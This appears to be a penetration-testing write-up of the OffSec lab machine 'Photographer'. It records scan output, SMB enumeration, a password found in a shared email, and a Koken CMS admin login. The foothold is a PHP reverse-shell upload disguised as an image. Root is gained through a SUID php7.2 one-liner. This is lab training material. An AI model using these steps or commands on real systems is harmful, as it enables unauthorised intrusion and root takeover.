OffSec · Lab
Photographer
IP: 192.168.117.76
set ip 192.168.117.76
set url http://192.168.117.76
Users / Creds
v1n1v131r4 ?
agi@photographer.com
daisa@photographer.com : babygirl
# Enum4Linux
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\daisa (Local User)
S-1-22-1-1001 Unix User\agi (Local User)
Passwords
babygirl
nmap basic
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8000/tcp open http-alt
nmap services
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 41:4d:aa:18:86:94:8e:88:a7:4c:6b:42:60:76:f1:4f (RSA)
| 256 4d:a3:d0:7a:8f:64:ef:82:45:2d:01:13:18:b7:e0:13 (ECDSA)
|_ 256 1a:01:7a:4f:cf:95:85:bf:31:a1:4f:15:87:ab:94:e2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Photographer by v1n1v131r4
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Koken 0.22.24
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: daisa ahomi
Service Info: Host: PHOTOGRAPHER; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time:
| date: 2026-09-11T07:22:09
|_ start_date: N/A
|_nbstat: NetBIOS name: PHOTOGRAPHER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: photographer
| NetBIOS computer name: PHOTOGRAPHER\x00
| Domain name: \x00
| FQDN: photographer
|_ System time: 2026-09-11T03:22:09-04:00
Share Enum
Share Enumeration on 192.168.117.76 )
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
sambashare. Disk. Samba on Ubuntu
IPC$ IPC IPC Service (photographer server (Samba, Ubuntu))
┌──(root㉿cophkali)-[~/oscp/labs/photographer]
└─# smbclient //$IP/sambashare -L
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Aug 20 17:51:08 2020
.. D 0 Thu Aug 20 18:08:59 2020
mailsent.txt N 503 Tue Jul 21 03:29:40 2020
wordpress.bkp.zip N 13930308 Tue Jul 21 03:22:23 2020
mailsent.txt
┌──(root㉿cophkali)-[~/oscp/labs/photographer/files]
└─# cat mailsent.txt
Message-ID: <4129F3CA.2020509@dc.edu>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence <agi@photographer.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi <daisa@photographer.com>
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Hi Daisa!
Your site is ready now.
Don't forget your secret, my
babygirl
;)
Wordpress
wp-config-sample.php
// ** Configurações do MySQL - Você pode pegar estas informações com o serviço de hospedagem ** //
/** O nome do banco de dados do WordPress */
define( 'DB_NAME', 'nome_do_banco_de_dados_aqui' );
/** Usuário do banco de dados MySQL */
define( 'DB_USER', 'nome_de_usuario_aqui' );
/** Senha do banco de dados MySQL */
define( 'DB_PASSWORD', 'senha_aqui' );
HTTP/80
Fuzzd files
Target: http://192.168.117.76/FUZZ
Total requests: 37050
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000069: 200 189 L 468 W 5711 Ch "index.html"
000005557: 200 375 L 968 W 11321 Ch "index.html.old
Fuzzd dirs
Target: http://192.168.117.76/FUZZ/
Total requests: 62281
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 25 L 143 W 2737 Ch "images"
000000084: 200 18 L 82 W 1309 Ch "assets"
HTTP/8000
Fuzzd files
Target: http://192.168.117.76:8000/FUZZ
Total requests: 37050
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 94 L 291 W 4602 Ch "index.php"
000000188: 500 32 L 79 W 600 Ch "api.php"
Fuzzd dirs
Target: http://192.168.117.76:8000/FUZZ/
Total requests: 62281
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 38 L 78 W 1020 Ch "admin"
000000049: 200 53 L 203 W 3163 Ch "category"
000000046: 200 54 L 207 W 3140 Ch "tag"
000000081: 200 54 L 205 W 3206 Ch "content"
000000098: 200 9 L 12 W 114 Ch "app"
000000090: 200 53 L 200 W 3054 Ch "error"
000000064: 500 57 L 159 W 2073 Ch "page"
000000130: 200 96 L 290 W 4560 Ch "home"
000000122: 200 53 L 203 W 3126 Ch "tags"
000000245: 200 94 L 291 W 4602 Ch "index"
000000233: 200 53 L 203 W 3171 Ch "favorites"
000000295: 200 113 L 302 W 4261 Ch "date"
000000731: 200 84 L 265 W 4521 Ch "lightbox"
000000761: 200 53 L 203 W 3136 Ch "album"
000000755: 200 54 L 205 W 3191 Ch "albums"
000000862: 200 53 L 203 W 3180 Ch "categories"
000001162: 200 54 L 203 W 3165 Ch "contents"
000001562: 200 53 L 203 W 3118 Ch "set"
000003572: 200 53 L 204 W 3185 Ch "timeline"
000006048: 200 53 L 205 W 3189 Ch "essays"
000009461: 200 54 L 203 W 3128 Ch "sets"
000014088: 500 118 L 269 W 3801 Ch "essay"
000048568: 200 94 L 291 W 4602 Ch "index"
HTTP/8000/admin
Login success with creds
daisa@photographer.com : babygirl
public exploit for koken 0.22.24 - our version
Foothold
Lets upload a php-revshell.
I use pentestmonkeys, but name the revshell image.php.jpg
upload the image.php.jpg
Intercept the uplaod process with burp
rename file to image.php
Now, lets start our listener, highlight the file and click view
PrivEsc
www-data@photographer:/$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/php7.2
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/bin/ping
/bin/fusermount
/bin/mount
/bin/ping6
/bin/umount
/bin/su
CMD="/bin/sh"
./php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
Proof
